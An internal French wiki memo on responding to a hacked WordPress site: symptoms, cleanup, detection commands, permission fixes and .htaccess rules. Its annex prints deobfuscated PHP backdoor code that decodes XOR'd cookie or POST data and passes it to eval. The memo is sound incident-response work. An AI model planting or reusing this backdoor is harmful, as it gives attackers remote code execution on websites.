Retour : Page Principale > sommaire mémos

Procédure en cas de piratage d'un WordPress


Résumé

Lundi matin du 4 février 2019, les applications dépendantes de l'annuaire ne fonctionnent pas, les services de l'annuaire timeoutent.
Ça dure depuis samedi matin très tôt dans la nuit, sûrement depuis 3h16 (d'après les meta du fichier malveillant retrouvé)
Dans les logs pleins de timeout. FPM est en feu, occupe 100% du CPU de Sycomore.
Après un debug pas à pas dans les fichiers de l'annuaire (à coup de die() sauvages) il apparait que les appels bloquants viennent du chargement de WordPress par la lib WPAPI de l'annuaire.
Il se trouve que le wp-config.php de WordPress a été modifié pour inclure un fichier .5a3a6bb0.ico provenant de wp-includes/SimplePie/HTTP/
Ce dossier SimplePie n'a bien évidemment rien à faire là.
Le PHP de .5a3a6bb0.ico est complètement obfusqué, je n'ai pas encore réussi à comprendre ce qu'il contient.
Sujet de forum concernant un attaque similaire : https://wordpress.org/support/topic/multiple-wordpress-hacked-strange-favicon-ico-e-php-files/

Corriger le problème

  • Retirer les fichiers malveillants après les avoir sauvegardĂ© en local pour une Ă©tude ultĂ©rieure.
  • Corriger les inclusions de fichiers malveillants notamment dans le index.php et le wp-config.php
  • Corriger les droits des fichiers (644) et dossiers (750)
  • VĂ©rifier la liste des admins en base
  • Remplacer les dossiers wp-admin et wp-includes par leur version d'origine (voir dans une installation propre de wordpress ou directement dans l'archive d'installation)
  • Mettre Ă  jour les plugins et le core de WP
  • Changer les clĂ©s de wordpress : https://api.wordpress.org/secret-key/1.1/salt/

Mettre en maintenance

Faut créer un .maintenance à la racine du wordpress avec un contenu genre :
<?php $upgrading = time(); ?>

https://wordpress.stackexchange.com/questions/190588/is-maintenance-file-still-valid-for-putting-wp-in-maintenance-mode

Détecter les inclusions de fichiers malveillants

Ă€ la main

  • grep "@include \"" /home/telaorg/www/wordpress/ -R
    
  • find . -type f -name "*.suspected"
  • find . -type f -name ".*.ico"

WordFence (plugin)

Installer WordFence et lancer un scan, vérifier les fichiers touchés, réinstaller manuellement (pour pas perdre la config) les plugins et themes vérolés, supprimer et nettoyer manuellement le reste, ne pas utiliser la fonction de nettoyage du plugin (action aveugle de suppression, très risquée).

Détecter les changements de droits de fichiers

  • find /home/telaorg/www/wordpress -type f -executable
Corriger les droits :
  • find /home/telaorg/www/wordpress -type f -executable -exec chmod 644 {} \;
  • find /home/telaorg/www/wordpress -type d -exec chmod 755 {} \;

Détecter des éventuelles failles

Installer https://wpscan.org/ gem install wpscan
et le lancer wpscan --url tela-botanica.org

Réparer les fichiers touchés

Supprimer les includes
Supprimer le code PHP obfusqué
Depuis l'historique git, les fichiers originaux ou bien la sauvegarde sur Adansonia, restaurer les fichiers vérolés

Documentation

https://codex.wordpress.org/Hardening_WordPress

Annexes

Ajout de protections basiques dans la .htaccess racine :
RedirectMatch 404 ^/wp-config.php$  
RewriteRule \.ini$ - [R=404]
RewriteRule \.bak$ - [R=404]
RewriteRule \.suspected$ - [R=404]
RewriteRule \..*\.ico$ - [R=404]
RewriteRule wp-config.php\.?.*$ - [R=404]



Exemple de code php retrouvé et déobfusqué :
// récupère les params de la requête et boucle sur chacun d'eux
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {

	// Génère une clé de decryptage logique
	function keygen($key, $multiplier) {
		return substr(
			// répète key.string au moins une fois (multiplier est normalement un gros chiffre)
			str_repeat($key . "85c7586a-ab55-4470-982e-4a0c26e5f26e", ($multiplier / strlen($key)) + 1),
			0,
			$multiplier
		);
	}

	// transforme de l'hexa en string
	// permet probablement de récupérer le code malicieux
	function unhex($hexacode) {
		return @pack("H*", $hexacode);
	}

	// execute la fonction contenue dans param[1] avec les arguments param[2]
	function evalArray($hnsgud) {
		// est-ce qu'il y a bien 3 elements dans l'array param
		$iheyx = count($hnsgud) % 3;
		if (!$iheyx) {
			eval($hnsgud[1]($hnsgud[2]));
			exit();
		}
	}

	$stringDeCode = unhex($value);

	evalArray(
		explode(
			'#', // délimiteur
			// Xor, ou exclusif, de l'hexa reçu et de la clé de déchiffrement générée
			$stringDeCode ^ keygen($key, strlen($stringDeCode))
		)
	);
}